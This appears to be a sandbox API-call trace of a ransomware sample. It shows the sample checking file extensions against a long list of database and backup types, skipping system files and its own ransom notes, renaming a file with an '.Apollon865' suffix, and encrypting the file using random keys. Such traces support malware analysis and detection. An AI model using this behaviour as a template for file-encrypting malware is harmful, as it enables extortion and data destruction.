	[0085.339] lstrcmpiW (lpString1=".H1D", lpString2="dtsx") returned -1
	[0085.339] lstrlenW (lpString="dxl") returned 3
	[0085.339] lstrcmpiW (lpString1="H1D", lpString2="dxl") returned 1
	[0085.339] lstrlenW (lpString="eco") returned 3
	[0085.339] lstrcmpiW (lpString1="H1D", lpString2="eco") returned 1
	[0085.339] lstrlenW (lpString="ecx") returned 3
	[0085.339] lstrcmpiW (lpString1="H1D", lpString2="ecx") returned 1
	[0085.339] lstrlenW (lpString="edb") returned 3
	[0085.339] lstrcmpiW (lpString1="H1D", lpString2="edb") returned 1
	[0085.339] lstrlenW (lpString="epim") returned 4
	[0085.339] lstrcmpiW (lpString1=".H1D", lpString2="epim") returned -1
	[0085.339] lstrlenW (lpString="fcd") returned 3
	[0085.339] lstrcmpiW (lpString1="H1D", lpString2="fcd") returned 1
	[0085.339] lstrlenW (lpString="fdb") returned 3
	[0085.340] lstrcmpiW (lpString1="H1D", lpString2="fdb") returned 1
	[0085.340] lstrlenW (lpString="fic") returned 3
	[0085.340] lstrcmpiW (lpString1="H1D", lpString2="fic") returned 1
	[0085.340] lstrlenW (lpString="flexolibrary") returned 12
	[0085.340] lstrcmpiW (lpString1="alidator.H1D", lpString2="flexolibrary") returned -1
	[0085.340] lstrlenW (lpString="fm5") returned 3
	[0085.340] lstrcmpiW (lpString1="H1D", lpString2="fm5") returned 1
	[0085.340] lstrlenW (lpString="fmp") returned 3
	[0085.340] lstrcmpiW (lpString1="H1D", lpString2="fmp") returned 1
	[0085.340] lstrlenW (lpString="fmp12") returned 5
	[0085.340] lstrcmpiW (lpString1="r.H1D", lpString2="fmp12") returned 1
	[0085.340] lstrlenW (lpString="fmpsl") returned 5
	[0085.340] lstrcmpiW (lpString1="r.H1D", lpString2="fmpsl") returned 1
	[0085.340] lstrlenW (lpString="fol") returned 3
	[0085.340] lstrcmpiW (lpString1="H1D", lpString2="fol") returned 1
	[0085.340] lstrlenW (lpString="fp3") returned 3
	[0085.340] lstrcmpiW (lpString1="H1D", lpString2="fp3") returned 1
	[0085.340] lstrlenW (lpString="fp4") returned 3
	[0085.340] lstrcmpiW (lpString1="H1D", lpString2="fp4") returned 1
	[0085.340] lstrlenW (lpString="fp5") returned 3
	[0085.340] lstrcmpiW (lpString1="H1D", lpString2="fp5") returned 1
	[0085.340] lstrlenW (lpString="fp7") returned 3
	[0085.340] lstrcmpiW (lpString1="H1D", lpString2="fp7") returned 1
	[0085.340] lstrlenW (lpString="fpt") returned 3
	[0085.340] lstrcmpiW (lpString1="H1D", lpString2="fpt") returned 1
	[0085.340] lstrlenW (lpString="frm") returned 3
	[0085.340] lstrcmpiW (lpString1="H1D", lpString2="frm") returned 1
	[0085.340] lstrlenW (lpString="gdb") returned 3
	[0085.340] lstrcmpiW (lpString1="H1D", lpString2="gdb") returned 1
	[0085.340] lstrlenW (lpString="gdb") returned 3
	[0085.340] lstrcmpiW (lpString1="H1D", lpString2="gdb") returned 1
	[0085.340] lstrlenW (lpString="grdb") returned 4
	[0085.340] lstrcmpiW (lpString1=".H1D", lpString2="grdb") returned -1
	[0085.340] lstrlenW (lpString="gwi") returned 3
	[0085.340] lstrcmpiW (lpString1="H1D", lpString2="gwi") returned 1
	[0085.340] lstrlenW (lpString="hdb") returned 3
	[0085.340] lstrcmpiW (lpString1="H1D", lpString2="hdb") returned -1
	[0085.340] lstrlenW (lpString="his") returned 3
	[0085.341] lstrcmpiW (lpString1="H1D", lpString2="his") returned -1
	[0085.341] lstrlenW (lpString="ib") returned 2
	[0085.341] lstrcmpiW (lpString1="1D", lpString2="ib") returned -1
	[0085.341] lstrlenW (lpString="idb") returned 3
	[0085.341] lstrcmpiW (lpString1="H1D", lpString2="idb") returned -1
	[0085.341] lstrlenW (lpString="ihx") returned 3
	[0085.341] lstrcmpiW (lpString1="H1D", lpString2="ihx") returned -1
	[0085.341] lstrlenW (lpString="itdb") returned 4
	[0085.341] lstrcmpiW (lpString1=".H1D", lpString2="itdb") returned -1
	[0085.341] lstrlenW (lpString="itw") returned 3
	[0085.341] lstrcmpiW (lpString1="H1D", lpString2="itw") returned -1
	[0085.341] lstrlenW (lpString="jet") returned 3
	[0085.341] lstrcmpiW (lpString1="H1D", lpString2="jet") returned -1
	[0085.341] lstrlenW (lpString="jtx") returned 3
	[0085.341] lstrcmpiW (lpString1="H1D", lpString2="jtx") returned -1
	[0085.341] lstrlenW (lpString="kdb") returned 3
	[0085.341] lstrcmpiW (lpString1="H1D", lpString2="kdb") returned -1
	[0085.341] lstrlenW (lpString="kexi") returned 4
	[0085.341] lstrcmpiW (lpString1=".H1D", lpString2="kexi") returned -1
	[0085.341] lstrlenW (lpString="kexic") returned 5
	[0085.341] lstrcmpiW (lpString1="r.H1D", lpString2="kexic") returned 1
	[0085.341] lstrlenW (lpString="kexis") returned 5
	[0085.341] lstrcmpiW (lpString1="r.H1D", lpString2="kexis") returned 1
	[0085.341] lstrlenW (lpString="lgc") returned 3
	[0085.341] lstrcmpiW (lpString1="H1D", lpString2="lgc") returned -1
	[0085.341] lstrlenW (lpString="lwx") returned 3
	[0085.341] lstrcmpiW (lpString1="H1D", lpString2="lwx") returned -1
	[0085.341] lstrlenW (lpString="maf") returned 3
	[0085.341] lstrcmpiW (lpString1="H1D", lpString2="maf") returned -1
	[0085.341] lstrlenW (lpString="maq") returned 3
	[0085.341] lstrcmpiW (lpString1="H1D", lpString2="maq") returned -1
	[0085.341] lstrlenW (lpString="mar") returned 3
	[0085.341] lstrcmpiW (lpString1="H1D", lpString2="mar") returned -1
	[0085.341] lstrlenW (lpString="marshal") returned 7
	[0085.341] lstrcmpiW (lpString1="tor.H1D", lpString2="marshal") returned 1
	[0085.341] lstrlenW (lpString="mas") returned 3
	[0085.341] lstrcmpiW (lpString1="H1D", lpString2="mas") returned -1
	[0085.341] lstrlenW (lpString="mav") returned 3
	[0085.342] lstrcmpiW (lpString1="H1D", lpString2="mav") returned -1
	[0085.342] lstrlenW (lpString="maw") returned 3
	[0085.342] lstrcmpiW (lpString1="H1D", lpString2="maw") returned -1
	[0085.342] lstrlenW (lpString="mdbhtml") returned 7
	[0085.342] lstrcmpiW (lpString1="tor.H1D", lpString2="mdbhtml") returned 1
	[0085.342] lstrlenW (lpString="mdn") returned 3
	[0085.342] lstrcmpiW (lpString1="H1D", lpString2="mdn") returned -1
	[0085.342] lstrlenW (lpString="mdt") returned 3
	[0085.342] lstrcmpiW (lpString1="H1D", lpString2="mdt") returned -1
	[0085.342] lstrlenW (lpString="mfd") returned 3
	[0085.342] lstrcmpiW (lpString1="H1D", lpString2="mfd") returned -1
	[0085.342] lstrlenW (lpString="mpd") returned 3
	[0085.342] lstrcmpiW (lpString1="H1D", lpString2="mpd") returned -1
	[0085.342] lstrlenW (lpString="mrg") returned 3
	[0085.342] lstrcmpiW (lpString1="H1D", lpString2="mrg") returned -1
	[0085.342] lstrlenW (lpString="mud") returned 3
	[0085.342] lstrcmpiW (lpString1="H1D", lpString2="mud") returned -1
	[0085.342] lstrlenW (lpString="mwb") returned 3
	[0085.342] lstrcmpiW (lpString1="H1D", lpString2="mwb") returned -1
	[0085.342] lstrlenW (lpString="myd") returned 3
	[0085.342] lstrcmpiW (lpString1="H1D", lpString2="myd") returned -1
	[0085.342] lstrlenW (lpString="ndf") returned 3
	[0085.342] lstrcmpiW (lpString1="H1D", lpString2="ndf") returned -1
	[0085.342] lstrlenW (lpString="nnt") returned 3
	[0085.342] lstrcmpiW (lpString1="H1D", lpString2="nnt") returned -1
	[0085.342] lstrlenW (lpString="nrmlib") returned 6
	[0085.342] lstrcmpiW (lpString1="or.H1D", lpString2="nrmlib") returned 1
	[0085.342] lstrlenW (lpString="ns2") returned 3
	[0085.342] lstrcmpiW (lpString1="H1D", lpString2="ns2") returned -1
	[0085.342] lstrlenW (lpString="ns3") returned 3
	[0085.342] lstrcmpiW (lpString1="H1D", lpString2="ns3") returned -1
	[0085.342] lstrlenW (lpString="ns4") returned 3
	[0085.342] lstrcmpiW (lpString1="H1D", lpString2="ns4") returned -1
	[0085.342] lstrlenW (lpString="nsf") returned 3
	[0085.342] lstrcmpiW (lpString1="H1D", lpString2="nsf") returned -1
	[0085.342] lstrlenW (lpString="nv") returned 2
	[0085.342] lstrcmpiW (lpString1="1D", lpString2="nv") returned -1
	[0085.343] lstrlenW (lpString="nv2") returned 3
	[0085.343] lstrcmpiW (lpString1="H1D", lpString2="nv2") returned -1
	[0085.343] lstrlenW (lpString="nwdb") returned 4
	[0085.343] lstrcmpiW (lpString1=".H1D", lpString2="nwdb") returned -1
	[0085.343] lstrlenW (lpString="nyf") returned 3
	[0085.343] lstrcmpiW (lpString1="H1D", lpString2="nyf") returned -1
	[0085.343] lstrlenW (lpString="odb") returned 3
	[0085.343] lstrcmpiW (lpString1="H1D", lpString2="odb") returned -1
	[0085.343] lstrlenW (lpString="odb") returned 3
	[0085.343] lstrcmpiW (lpString1="H1D", lpString2="odb") returned -1
	[0085.343] lstrlenW (lpString="oqy") returned 3
	[0085.343] lstrcmpiW (lpString1="H1D", lpString2="oqy") returned -1
	[0085.343] lstrlenW (lpString="ora") returned 3
	[0085.343] lstrcmpiW (lpString1="H1D", lpString2="ora") returned -1
	[0085.343] lstrlenW (lpString="orx") returned 3
	[0085.343] lstrcmpiW (lpString1="H1D", lpString2="orx") returned -1
	[0085.343] lstrlenW (lpString="owc") returned 3
	[0085.343] lstrcmpiW (lpString1="H1D", lpString2="owc") returned -1
	[0085.343] lstrlenW (lpString="p96") returned 3
	[0085.343] lstrcmpiW (lpString1="H1D", lpString2="p96") returned -1
	[0085.343] lstrlenW (lpString="p97") returned 3
	[0085.343] lstrcmpiW (lpString1="H1D", lpString2="p97") returned -1
	[0085.343] lstrlenW (lpString="pan") returned 3
	[0085.343] lstrcmpiW (lpString1="H1D", lpString2="pan") returned -1
	[0085.343] lstrlenW (lpString="pdb") returned 3
	[0085.343] lstrcmpiW (lpString1="H1D", lpString2="pdb") returned -1
	[0085.343] lstrlenW (lpString="pdm") returned 3
	[0085.343] lstrcmpiW (lpString1="H1D", lpString2="pdm") returned -1
	[0085.343] lstrlenW (lpString="pnz") returned 3
	[0085.343] lstrcmpiW (lpString1="H1D", lpString2="pnz") returned -1
	[0085.343] lstrlenW (lpString="qry") returned 3
	[0085.343] lstrcmpiW (lpString1="H1D", lpString2="qry") returned -1
	[0085.343] lstrlenW (lpString="qvd") returned 3
	[0085.343] lstrcmpiW (lpString1="H1D", lpString2="qvd") returned -1
	[0085.343] lstrlenW (lpString="rbf") returned 3
	[0085.343] lstrcmpiW (lpString1="H1D", lpString2="rbf") returned -1
	[0085.343] lstrlenW (lpString="rctd") returned 4
	[0085.343] lstrcmpiW (lpString1=".H1D", lpString2="rctd") returned -1
	[0085.344] lstrlenW (lpString="rod") returned 3
	[0085.344] lstrcmpiW (lpString1="H1D", lpString2="rod") returned -1
	[0085.344] lstrlenW (lpString="rodx") returned 4
	[0085.344] lstrcmpiW (lpString1=".H1D", lpString2="rodx") returned -1
	[0085.344] lstrlenW (lpString="rpd") returned 3
	[0085.344] lstrcmpiW (lpString1="H1D", lpString2="rpd") returned -1
	[0085.344] lstrlenW (lpString="rsd") returned 3
	[0085.344] lstrcmpiW (lpString1="H1D", lpString2="rsd") returned -1
	[0085.344] lstrlenW (lpString="sas7bdat") returned 8
	[0085.344] lstrcmpiW (lpString1="ator.H1D", lpString2="sas7bdat") returned -1
	[0085.344] lstrlenW (lpString="sbf") returned 3
	[0085.344] lstrcmpiW (lpString1="H1D", lpString2="sbf") returned -1
	[0085.344] lstrlenW (lpString="scx") returned 3
	[0085.344] lstrcmpiW (lpString1="H1D", lpString2="scx") returned -1
	[0085.344] lstrlenW (lpString="sdb") returned 3
	[0085.344] lstrcmpiW (lpString1="H1D", lpString2="sdb") returned -1
	[0085.344] lstrlenW (lpString="sdc") returned 3
	[0085.344] lstrcmpiW (lpString1="H1D", lpString2="sdc") returned -1
	[0085.344] lstrlenW (lpString="sdf") returned 3
	[0085.344] lstrcmpiW (lpString1="H1D", lpString2="sdf") returned -1
	[0085.344] lstrlenW (lpString="sis") returned 3
	[0085.344] lstrcmpiW (lpString1="H1D", lpString2="sis") returned -1
	[0085.344] lstrlenW (lpString="spq") returned 3
	[0085.344] lstrcmpiW (lpString1="H1D", lpString2="spq") returned -1
	[0085.344] lstrlenW (lpString="te") returned 2
	[0085.344] lstrcmpiW (lpString1="1D", lpString2="te") returned -1
	[0085.344] lstrlenW (lpString="teacher") returned 7
	[0085.344] lstrcmpiW (lpString1="tor.H1D", lpString2="teacher") returned 1
	[0085.344] lstrlenW (lpString="tmd") returned 3
	[0085.344] lstrcmpiW (lpString1="H1D", lpString2="tmd") returned -1
	[0085.344] lstrlenW (lpString="tps") returned 3
	[0085.344] lstrcmpiW (lpString1="H1D", lpString2="tps") returned -1
	[0085.344] lstrlenW (lpString="trc") returned 3
	[0085.344] lstrcmpiW (lpString1="H1D", lpString2="trc") returned -1
	[0085.344] lstrlenW (lpString="trc") returned 3
	[0085.344] lstrcmpiW (lpString1="H1D", lpString2="trc") returned -1
	[0085.344] lstrlenW (lpString="trm") returned 3
	[0085.344] lstrcmpiW (lpString1="H1D", lpString2="trm") returned -1
	[0085.345] lstrlenW (lpString="udb") returned 3
	[0085.345] lstrcmpiW (lpString1="H1D", lpString2="udb") returned -1
	[0085.345] lstrlenW (lpString="udl") returned 3
	[0085.345] lstrcmpiW (lpString1="H1D", lpString2="udl") returned -1
	[0085.345] lstrlenW (lpString="usr") returned 3
	[0085.345] lstrcmpiW (lpString1="H1D", lpString2="usr") returned -1
	[0085.345] lstrlenW (lpString="v12") returned 3
	[0085.345] lstrcmpiW (lpString1="H1D", lpString2="v12") returned -1
	[0085.345] lstrlenW (lpString="vis") returned 3
	[0085.345] lstrcmpiW (lpString1="H1D", lpString2="vis") returned -1
	[0085.345] lstrlenW (lpString="vpd") returned 3
	[0085.345] lstrcmpiW (lpString1="H1D", lpString2="vpd") returned -1
	[0085.345] lstrlenW (lpString="vvv") returned 3
	[0085.345] lstrcmpiW (lpString1="H1D", lpString2="vvv") returned -1
	[0085.345] lstrlenW (lpString="wdb") returned 3
	[0085.345] lstrcmpiW (lpString1="H1D", lpString2="wdb") returned -1
	[0085.345] lstrlenW (lpString="wmdb") returned 4
	[0085.345] lstrcmpiW (lpString1=".H1D", lpString2="wmdb") returned -1
	[0085.345] lstrlenW (lpString="wrk") returned 3
	[0085.345] lstrcmpiW (lpString1="H1D", lpString2="wrk") returned -1
	[0085.345] lstrlenW (lpString="xdb") returned 3
	[0085.345] lstrcmpiW (lpString1="H1D", lpString2="xdb") returned -1
	[0085.345] lstrlenW (lpString="xld") returned 3
	[0085.345] lstrcmpiW (lpString1="H1D", lpString2="xld") returned -1
	[0085.345] lstrlenW (lpString="xmlff") returned 5
	[0085.345] lstrcmpiW (lpString1="r.H1D", lpString2="xmlff") returned -1
	[0085.345] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.H1D.Apollon865") returned 87
	[0085.345] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.H1D" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help_mvalidator.h1d"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.H1D.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help_mvalidator.h1d.apollon865"), dwFlags=0x1) returned 1
	[0085.347] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.H1D.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help_mvalidator.h1d.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0085.347] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=14660) returned 1
	[0085.347] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0085.348] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0085.348] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0085.348] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0085.349] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0085.349] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0085.349] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3c50, lpName=0x0) returned 0x15c
	[0085.350] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3c50) returned 0x100000
	[0085.352] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0085.353] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0085.353] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0085.353] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0085.353] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0085.353] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0085.353] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0085.353] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0085.353] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0085.353] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0085.353] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0085.353] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0085.353] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0085.353] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0085.353] CloseHandle (hObject=0x15c) returned 1
	[0085.353] CloseHandle (hObject=0x9c) returned 1
	[0085.354] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0085.354] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0085.354] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0085.354] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x24534c56, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae45604d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Help_MValidator.Lck", cAlternateFileName="HELP_M~1.LCK")) returned 1
	[0085.354] lstrcmpiW (lpString1="Help_MValidator.Lck", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0085.354] lstrcmpiW (lpString1="Help_MValidator.Lck", lpString2="Apollon865.txt.exe") returned 1
	[0085.354] lstrcmpiW (lpString1="Help_MValidator.Lck", lpString2=".") returned 1
	[0085.354] lstrcmpiW (lpString1="Help_MValidator.Lck", lpString2="..") returned 1
	[0085.354] lstrcmpiW (lpString1="Help_MValidator.Lck", lpString2="windows") returned -1
	[0085.354] lstrcmpiW (lpString1="Help_MValidator.Lck", lpString2="bootmgr") returned 1
	[0085.354] lstrcmpiW (lpString1="Help_MValidator.Lck", lpString2="temp") returned -1
	[0085.354] lstrcmpiW (lpString1="Help_MValidator.Lck", lpString2="pagefile.sys") returned -1
	[0085.354] lstrcmpiW (lpString1="Help_MValidator.Lck", lpString2="boot") returned 1
	[0085.354] lstrcmpiW (lpString1="Help_MValidator.Lck", lpString2="ids.txt") returned -1
	[0085.354] lstrcmpiW (lpString1="Help_MValidator.Lck", lpString2="ntuser.dat") returned -1
	[0085.354] lstrcmpiW (lpString1="Help_MValidator.Lck", lpString2="perflogs") returned -1
	[0085.354] lstrcmpiW (lpString1="Help_MValidator.Lck", lpString2="MSBuild") returned -1
	[0085.354] lstrlenW (lpString="Help_MValidator.Lck") returned 19
	[0085.354] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.H1D") returned 76
	[0085.354] lstrcpyW (in: lpString1=0x119e67a, lpString2="Help_MValidator.Lck" | out: lpString1="Help_MValidator.Lck") returned="Help_MValidator.Lck"
	[0085.354] lstrlenW (lpString="Help_MValidator.Lck") returned 19
	[0085.354] lstrlenW (lpString="Apollon865") returned 10
	[0085.354] lstrcmpiW (lpString1="idator.Lck", lpString2="Apollon865") returned 1
	[0085.354] lstrlenW (lpString=".dll") returned 4
	[0085.354] lstrcmpiW (lpString1="Help_MValidator.Lck", lpString2=".dll") returned 1
	[0085.354] lstrlenW (lpString=".lnk") returned 4
	[0085.354] lstrcmpiW (lpString1="Help_MValidator.Lck", lpString2=".lnk") returned 1
	[0085.354] lstrlenW (lpString=".ini") returned 4
	[0085.355] lstrcmpiW (lpString1="Help_MValidator.Lck", lpString2=".ini") returned 1
	[0085.355] lstrlenW (lpString=".sys") returned 4
	[0085.355] lstrcmpiW (lpString1="Help_MValidator.Lck", lpString2=".sys") returned 1
	[0085.355] lstrlenW (lpString="Help_MValidator.Lck") returned 19
	[0085.355] lstrlenW (lpString="bak") returned 3
	[0085.355] lstrcmpiW (lpString1="Lck", lpString2="bak") returned 1
	[0085.355] lstrlenW (lpString="ba_") returned 3
	[0085.355] lstrcmpiW (lpString1="Lck", lpString2="ba_") returned 1
	[0085.355] lstrlenW (lpString="dbb") returned 3
	[0085.355] lstrcmpiW (lpString1="Lck", lpString2="dbb") returned 1
	[0085.355] lstrlenW (lpString="vmdk") returned 4
	[0085.355] lstrcmpiW (lpString1=".Lck", lpString2="vmdk") returned -1
	[0085.355] lstrlenW (lpString="rar") returned 3
	[0085.355] lstrcmpiW (lpString1="Lck", lpString2="rar") returned -1
	[0085.355] lstrlenW (lpString="zip") returned 3
	[0085.355] lstrcmpiW (lpString1="Lck", lpString2="zip") returned -1
	[0085.355] lstrlenW (lpString="tgz") returned 3
	[0085.355] lstrcmpiW (lpString1="Lck", lpString2="tgz") returned -1
	[0085.355] lstrlenW (lpString="vbox") returned 4
	[0085.355] lstrcmpiW (lpString1=".Lck", lpString2="vbox") returned -1
	[0085.355] lstrlenW (lpString="vdi") returned 3
	[0085.355] lstrcmpiW (lpString1="Lck", lpString2="vdi") returned -1
	[0085.355] lstrlenW (lpString="vhd") returned 3
	[0085.355] lstrcmpiW (lpString1="Lck", lpString2="vhd") returned -1
	[0085.355] lstrlenW (lpString="vhdx") returned 4
	[0085.355] lstrcmpiW (lpString1=".Lck", lpString2="vhdx") returned -1
	[0085.355] lstrlenW (lpString="avhd") returned 4
	[0085.355] lstrcmpiW (lpString1=".Lck", lpString2="avhd") returned -1
	[0085.355] lstrlenW (lpString="db") returned 2
	[0085.355] lstrcmpiW (lpString1="ck", lpString2="db") returned -1
	[0085.355] lstrlenW (lpString="db2") returned 3
	[0085.355] lstrcmpiW (lpString1="Lck", lpString2="db2") returned 1
	[0085.355] lstrlenW (lpString="db3") returned 3
	[0085.355] lstrcmpiW (lpString1="Lck", lpString2="db3") returned 1
	[0085.355] lstrlenW (lpString="dbf") returned 3
	[0085.355] lstrcmpiW (lpString1="Lck", lpString2="dbf") returned 1
	[0085.355] lstrlenW (lpString="mdf") returned 3
	[0085.355] lstrcmpiW (lpString1="Lck", lpString2="mdf") returned -1
	[0085.356] lstrlenW (lpString="mdb") returned 3
	[0085.356] lstrcmpiW (lpString1="Lck", lpString2="mdb") returned -1
	[0085.356] lstrlenW (lpString="sql") returned 3
	[0085.356] lstrcmpiW (lpString1="Lck", lpString2="sql") returned -1
	[0085.356] lstrlenW (lpString="sqlite") returned 6
	[0085.356] lstrcmpiW (lpString1="or.Lck", lpString2="sqlite") returned -1
	[0085.356] lstrlenW (lpString="sqlite3") returned 7
	[0085.356] lstrcmpiW (lpString1="tor.Lck", lpString2="sqlite3") returned 1
	[0085.356] lstrlenW (lpString="sqlitedb") returned 8
	[0085.356] lstrcmpiW (lpString1="ator.Lck", lpString2="sqlitedb") returned -1
	[0085.356] lstrlenW (lpString="xml") returned 3
	[0085.356] lstrcmpiW (lpString1="Lck", lpString2="xml") returned -1
	[0085.356] lstrlenW (lpString="$er") returned 3
	[0085.356] lstrcmpiW (lpString1="Lck", lpString2="$er") returned 1
	[0085.356] lstrlenW (lpString="4dd") returned 3
	[0085.356] lstrcmpiW (lpString1="Lck", lpString2="4dd") returned 1
	[0085.356] lstrlenW (lpString="4dl") returned 3
	[0085.356] lstrcmpiW (lpString1="Lck", lpString2="4dl") returned 1
	[0085.356] lstrlenW (lpString="^^^") returned 3
	[0085.356] lstrcmpiW (lpString1="Lck", lpString2="^^^") returned 1
	[0085.356] lstrlenW (lpString="abs") returned 3
	[0085.356] lstrcmpiW (lpString1="Lck", lpString2="abs") returned 1
	[0085.356] lstrlenW (lpString="abx") returned 3
	[0085.356] lstrcmpiW (lpString1="Lck", lpString2="abx") returned 1
	[0085.356] lstrlenW (lpString="accdb") returned 5
	[0085.356] lstrcmpiW (lpString1="r.Lck", lpString2="accdb") returned 1
	[0085.356] lstrlenW (lpString="accdc") returned 5
	[0085.356] lstrcmpiW (lpString1="r.Lck", lpString2="accdc") returned 1
	[0085.356] lstrlenW (lpString="accde") returned 5
	[0085.356] lstrcmpiW (lpString1="r.Lck", lpString2="accde") returned 1
	[0085.356] lstrlenW (lpString="accdr") returned 5
	[0085.356] lstrcmpiW (lpString1="r.Lck", lpString2="accdr") returned 1
	[0085.356] lstrlenW (lpString="accdt") returned 5
	[0085.356] lstrcmpiW (lpString1="r.Lck", lpString2="accdt") returned 1
	[0085.357] lstrlenW (lpString="accdw") returned 5
	[0085.357] lstrcmpiW (lpString1="r.Lck", lpString2="accdw") returned 1
	[0085.357] lstrlenW (lpString="accft") returned 5
	[0085.357] lstrcmpiW (lpString1="r.Lck", lpString2="accft") returned 1
	[0085.357] lstrlenW (lpString="adb") returned 3
	[0085.357] lstrcmpiW (lpString1="Lck", lpString2="adb") returned 1
	[0085.357] lstrlenW (lpString="adb") returned 3
	[0085.357] lstrcmpiW (lpString1="Lck", lpString2="adb") returned 1
	[0085.357] lstrlenW (lpString="ade") returned 3
	[0085.357] lstrcmpiW (lpString1="Lck", lpString2="ade") returned 1
	[0085.357] lstrlenW (lpString="adf") returned 3
	[0085.357] lstrcmpiW (lpString1="Lck", lpString2="adf") returned 1
	[0085.357] lstrlenW (lpString="adn") returned 3
	[0085.357] lstrcmpiW (lpString1="Lck", lpString2="adn") returned 1
	[0085.357] lstrlenW (lpString="adp") returned 3
	[0085.357] lstrcmpiW (lpString1="Lck", lpString2="adp") returned 1
	[0085.357] lstrlenW (lpString="alf") returned 3
	[0085.357] lstrcmpiW (lpString1="Lck", lpString2="alf") returned 1
	[0085.357] lstrlenW (lpString="ask") returned 3
	[0085.357] lstrcmpiW (lpString1="Lck", lpString2="ask") returned 1
	[0085.357] lstrlenW (lpString="btr") returned 3
	[0085.357] lstrcmpiW (lpString1="Lck", lpString2="btr") returned 1
	[0085.357] lstrlenW (lpString="cat") returned 3
	[0085.357] lstrcmpiW (lpString1="Lck", lpString2="cat") returned 1
	[0085.357] lstrlenW (lpString="cdb") returned 3
	[0085.357] lstrcmpiW (lpString1="Lck", lpString2="cdb") returned 1
	[0085.357] lstrlenW (lpString="ckp") returned 3
	[0085.357] lstrcmpiW (lpString1="Lck", lpString2="ckp") returned 1
	[0085.357] lstrlenW (lpString="cma") returned 3
	[0085.357] lstrcmpiW (lpString1="Lck", lpString2="cma") returned 1
	[0085.357] lstrlenW (lpString="cpd") returned 3
	[0085.357] lstrcmpiW (lpString1="Lck", lpString2="cpd") returned 1
	[0085.357] lstrlenW (lpString="dacpac") returned 6
	[0085.357] lstrcmpiW (lpString1="or.Lck", lpString2="dacpac") returned 1
	[0085.357] lstrlenW (lpString="dad") returned 3
	[0085.357] lstrcmpiW (lpString1="Lck", lpString2="dad") returned 1
	[0085.357] lstrlenW (lpString="dadiagrams") returned 10
